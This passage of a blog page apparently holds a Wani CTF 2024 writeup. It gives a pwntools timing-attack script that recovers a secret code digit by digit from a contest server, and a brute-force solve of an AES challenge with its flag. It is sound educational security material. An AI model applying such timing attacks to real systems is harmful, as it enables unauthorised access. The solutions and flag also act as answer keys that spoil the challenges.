<code class=\"language-text\">digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))</code>, the digit comparison and the cheat-code check are joined with <code class=\"language-text\">or</code> during input validation.</p>\n<p>In Python, for expressions joined with <code class=\"language-text\">or</code>, if the first expression evaluates to true, the later expression is not evaluated.</p>\n<p>Therefore, when <code class=\"language-text\">given_secret_code[i] == secret_code[i]</code> is true, <code class=\"language-text\">check_cheat_code(given_cheat_code)</code> itself is not executed.</p>\n<p><code class=\"language-text\">check_cheat_code(given_cheat_code)</code> performs hashing an enormous number of times.</p>\n<p>As a result, when <code class=\"language-text\">given_secret_code[i] == secret_code[i]</code> is true, execution becomes much faster, making a timing attack easy.</p>\n<p>In the end, I got the flag with the following code.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">import</span> time\n\ntarget <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"chal-lz56g6.wanictf.org\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5000</span><span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter the cheat code: \"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n\nbase <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">\"0\"</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    words <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"========== Stage </span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\"> ==========\"</span></span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        base<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>j<span class=\"token punctuation\">)</span>\n        target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter the secret code: \"</span><span class=\"token punctuation\">)</span>\n        payload <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">)</span>\n        target<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">.</span>encode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        start <span class=\"token operator\">=</span> time<span class=\"token punctuation\">.</span>time<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        r <span class=\"token operator\">=</span> target<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        end <span class=\"token operator\">=</span> time<span class=\"token punctuation\">.</span>time<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>end<span class=\"token operator\">-</span>start<span class=\"token punctuation\">}</span></span><span class=\"token string\"> seconds\"</span></span><span class=\"token punctuation\">)</span>\n        words<span class=\"token punctuation\">[</span>payload<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> end<span class=\"token operator\">-</span>start\n        <span class=\"token keyword\">if</span> <span class=\"token string\">\"Wrong!\"</span> <span class=\"token keyword\">not</span> <span class=\"token keyword\">in</span> r<span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n            exit<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n    m <span class=\"token operator\">=</span> <span class=\"token builtin\">min</span><span class=\"token punctuation\">(</span>words<span class=\"token punctuation\">,</span> key<span class=\"token operator\">=</span>words<span class=\"token punctuation\">.</span>get<span class=\"token punctuation\">)</span>\n    base<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> m<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span></code></pre></div>\n<h2 id=\"beginners-aescrypto\" style=\"position:relative;\"><a href=\"#beginners-aescrypto\" aria-label=\"beginners aescrypto permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>beginners aes(Crypto)</h2>\n<blockquote>\n<p>AES is one of the most important encryption methods in our daily lives.</p>\n</blockquote>\n<p>This one was just a straightforward brute-force solve.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> Crypto<span class=\"token punctuation\">.</span>Util<span class=\"token punctuation\">.</span>Padding <span class=\"token keyword\">import</span> unpad\n<span class=\"token keyword\">from</span> Crypto<span class=\"token punctuation\">.</span>Cipher <span class=\"token keyword\">import</span> AES\n<span class=\"token keyword\">from</span> os <span class=\"token keyword\">import</span> urandom\n<span class=\"token keyword\">import</span> hashlib\n\nkey <span class=\"token operator\">=</span> <span class=\"token string\">b'the_enc_key_is_'</span>\niv <span class=\"token operator\">=</span> <span class=\"token string\">b'my_great_iv_is_'</span>\n\nenc <span class=\"token operator\">=</span> <span class=\"token string\">b'\\x16\\x97,\\xa7\\xfb_\\xf3\\x15.\\x87jKRaF&amp;\"\\xb6\\xc4x\\xf4.K\\xd77j\\xe5MLI_y\\xd96\\xf1$\\xc5\\xa3\\x03\\x990Q^\\xc0\\x17M2\\x18'</span>\nflag_hash <span class=\"token operator\">=</span> <span class=\"token string\">\"6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e\"</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">256</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">256</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        tk <span class=\"token operator\">=</span> key <span class=\"token operator\">+</span> i<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"little\"</span><span class=\"token punctuation\">)</span>\n        tiv <span class=\"token operator\">=</span> iv <span class=\"token operator\">+</span> j<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"little\"</span><span class=\"token punctuation\">)</span>\n        cipher <span class=\"token operator\">=</span> AES<span class=\"token punctuation\">.</span>new<span class=\"token punctuation\">(</span>tk<span class=\"token punctuation\">,</span> AES<span class=\"token punctuation\">.</span>MODE_CBC<span class=\"token punctuation\">,</span> tiv<span class=\"token punctuation\">)</span>\n\n        <span class=\"token keyword\">try</span><span class=\"token punctuation\">:</span>\n            decrypted_msg <span class=\"token operator\">=</span> unpad<span class=\"token punctuation\">(</span>cipher<span class=\"token punctuation\">.</span>decrypt<span class=\"token punctuation\">(</span>enc<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f'Decrypted message = </span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>decrypted_msg<span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token string\">\"utf-8\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">}</span></span><span class=\"token string\">'</span></span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">except</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">pass</span>\n\n<span class=\"token comment\"># FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}</span></code></pre></div>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>Overall, I thought the difficulty was fairly high, but there were a lot of interesting and educational challenges, especially in misc, so I had fun.</p>","fields":{"slug":"/ctf-wani-ctf-2024-en","tagSlugs":["/tag/rev-en/","/tag/forensic-en/","/tag/crypto-en/","/tag/misc-en/","/tag/english/"]},"frontmatter":{"date":"2024-06-25","description":"Wani CTF 2024 Writeup","tags":["Rev (en)","Forensic (en)","Crypto (en)","Misc (en)","English"],"title":"Wani CTF 2024 Writeup","socialImage":{"publicURL":"/static/01b87579768d3ab36b0f71de5e0cbfb4/ctf-wani-ctf-2024.png"}}}},"pageContext":{"slug":"/ctf-wani-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}